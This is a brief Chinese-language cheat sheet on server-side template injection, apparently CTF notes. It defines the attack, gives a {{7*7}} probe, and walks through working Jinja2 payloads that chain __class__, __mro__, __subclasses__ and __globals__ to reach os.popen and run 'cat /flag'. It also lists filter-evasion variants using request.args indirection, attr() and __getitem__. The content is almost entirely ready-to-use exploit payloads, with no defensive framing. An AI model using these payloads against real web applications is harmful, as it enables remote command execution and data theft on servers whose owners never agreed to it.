攻击者通过再模板中注入恶意代码,利用服务器的模板引擎和渲染机制,导致模板引擎在解析时执行了非预期的代码或者表达式,从而信息泄露、RCE等行为。
操作姿势
{{7*7}}测试是否存在
?name={{"".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']("cat /flag").read()}}
?name={{lipsum.__globals__.os.popen(request.values.a).read()}}&a =cat /flag
"" → 字符串对象
↓
.__class__ → 获取 str 类
↓
.__mro__[1] → 找到 object 类(_base_是str的父类,功能相同)
↓
.__subclasses__()[132] → 找到 subprocess.Popen 或类似类(目的是找object的子类,包含os模块)
↓
.__init__.__globals__['popen'] → 拿到 os.popen 函数
↓
("cat /flag").read() → 执行命令并读取结果替换
"" > '' > ()
["pope"] > ['request.args.method'] &method=popen
("cat /flag') > (request.args.a) &a=tac /flag
//args > values >cookies
[132] > __getitem__(132)
__globals__ > attr('__globals__ ') > attr(request.args.a) &a=__globals__